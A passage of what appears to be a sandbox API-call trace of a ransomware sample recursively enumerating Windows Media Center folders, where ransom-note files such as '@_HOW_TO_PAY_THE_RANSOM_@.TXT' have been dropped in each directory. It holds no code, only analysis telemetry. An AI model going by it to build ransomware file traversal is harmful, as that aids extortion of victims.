lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.061] GetFileInformationByHandle (in: hFile=0x20c, lpFileInformation=0x4a95dc | out: lpFileInformation=0x4a95dc) returned 1 [0253.061] FileTimeToSystemTime (in: lpFileTime=0x4a95b0, lpSystemTime=0x4a9584 | out: lpSystemTime=0x4a9584) returned 1 [0253.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9584, lpLocalTime=0x4a9594 | out: lpLocalTime=0x4a9594) returned 1 [0253.061] FileTimeToSystemTime (in: lpFileTime=0x4a95a0, lpSystemTime=0x4a9574 | out: lpSystemTime=0x4a9574) returned 1 [0253.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9574, lpLocalTime=0x4a9584 | out: lpLocalTime=0x4a9584) returned 1 [0253.062] FileTimeToSystemTime (in: lpFileTime=0x4a9590, lpSystemTime=0x4a9564 | out: lpSystemTime=0x4a9564) returned 1 [0253.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9564, lpLocalTime=0x4a9574 | out: lpLocalTime=0x4a9574) returned 1 [0253.062] CloseHandle (hObject=0x20c) returned 1 [0253.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0253.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.063] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd25bfa69, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd25bfa69, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfcedf07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x208c7e, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.psd", cAlternateFileName="")) returned 0 [0253.063] FindClose (in: hFindFile=0x549890 | out: hFindFile=0x549890) returned 1 [0253.063] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc7baed, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfc7baed, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfc7baed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5165, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.dvd", cAlternateFileName="")) returned 1 [0253.063] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc7baed, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfc7baed, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfc7baed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5165, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.dvd", cAlternateFileName="")) returned 0 [0253.064] FindClose (in: hFindFile=0x549850 | out: hFindFile=0x549850) returned 1 [0253.064] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony", cAlternateFileName="")) returned 0 [0253.064] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0253.064] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaacf4ef, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="PAL", cAlternateFileName="")) returned 1 [0253.064] AreFileApisANSI () returned 1 [0253.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0253.065] GetFileType (hFile=0x1ac) returned 0x1 [0253.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0253.066] AreFileApisANSI () returned 1 [0253.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0253.068] AreFileApisANSI () returned 1 [0253.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0253.072] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.072] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.072] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14328cc0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.072] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14328cc0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.072] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14328cc0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.072] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony", cAlternateFileName="")) returned 1 [0253.072] AreFileApisANSI () returned 1 [0253.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0253.073] GetFileType (hFile=0x190) returned 0x1 [0253.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55fe38 | out: hHeap=0x510000) returned 1 [0253.074] AreFileApisANSI () returned 1 [0253.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0253.078] AreFileApisANSI () returned 1 [0253.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0253.079] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0253.079] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.079] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14328cc0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.080] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1434ee20, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.080] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1434ee20, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.080] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdcbbea, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony", cAlternateFileName="")) returned 1 [0253.080] AreFileApisANSI () returned 1 [0253.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0253.080] GetFileType (hFile=0x1a4) returned 0x1 [0253.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561e48 | out: hHeap=0x510000) returned 1 [0253.082] AreFileApisANSI () returned 1 [0253.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0253.083] AreFileApisANSI () returned 1 [0253.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0253.086] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdcbbea, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549890 [0253.087] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdcbbea, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.087] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1434ee20, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.087] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1434ee20, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.087] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1434ee20, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1434ee20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1434ee20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.087] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27166ae, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd27166ae, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfdd273b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c88, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.psd", cAlternateFileName="")) returned 1 [0253.087] AreFileApisANSI () returned 1 [0253.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4a9c40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0253.088] AreFileApisANSI () returned 1 [0253.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0253.088] GetFileInformationByHandle (in: hFile=0x20c, lpFileInformation=0x4a95dc | out: lpFileInformation=0x4a95dc) returned 1 [0253.089] FileTimeToSystemTime (in: lpFileTime=0x4a95b0, lpSystemTime=0x4a9584 | out: lpSystemTime=0x4a9584) returned 1 [0253.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9584, lpLocalTime=0x4a9594 | out: lpLocalTime=0x4a9594) returned 1 [0253.089] FileTimeToSystemTime (in: lpFileTime=0x4a95a0, lpSystemTime=0x4a9574 | out: lpSystemTime=0x4a9574) returned 1 [0253.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9574, lpLocalTime=0x4a9584 | out: lpLocalTime=0x4a9584) returned 1 [0253.089] FileTimeToSystemTime (in: lpFileTime=0x4a9590, lpSystemTime=0x4a9564 | out: lpSystemTime=0x4a9564) returned 1 [0253.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9564, lpLocalTime=0x4a9574 | out: lpLocalTime=0x4a9574) returned 1 [0253.089] CloseHandle (hObject=0x20c) returned 1 [0253.090] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0253.090] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.090] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27166ae, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd27166ae, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfdd273b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c88, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.psd", cAlternateFileName="")) returned 0 [0253.090] FindClose (in: hFindFile=0x549890 | out: hFindFile=0x549890) returned 1 [0253.091] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd3a1c3, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfd3a1c3, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfd3a1c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5119, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.dvd", cAlternateFileName="")) returned 1 [0253.091] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd3a1c3, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfd3a1c3, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfd3a1c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5119, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.dvd", cAlternateFileName="")) returned 0 [0253.091] FindClose (in: hFindFile=0x549850 | out: hFindFile=0x549850) returned 1 [0253.092] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony", cAlternateFileName="")) returned 0 [0253.092] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0253.092] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaacf4ef, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="PAL", cAlternateFileName="")) returned 0 [0253.092] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0253.093] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="Styles", cAlternateFileName="")) returned 0 [0253.093] FindClose (in: hFindFile=0x549710 | out: hFindFile=0x549710) returned 1 [0253.093] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866fe302, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x866fe302, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x1589b300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3ce00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehchhime.dll", cAlternateFileName="")) returned 1 [0253.093] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8737d586, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8737d586, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b6dd80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14ca00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehchsime.dll", cAlternateFileName="")) returned 1 [0253.093] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8075566b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8075566b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehchtime.dll", cAlternateFileName="")) returned 1 [0253.093] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f62289, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f62289, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f883e9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehCIR.dll", cAlternateFileName="")) returned 1 [0253.093] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd3e9f, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xf2bd3e9f, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xf2bf9ffd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcb740, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehcir.ird", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64905c93, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x64905c93, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x22f65a90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, 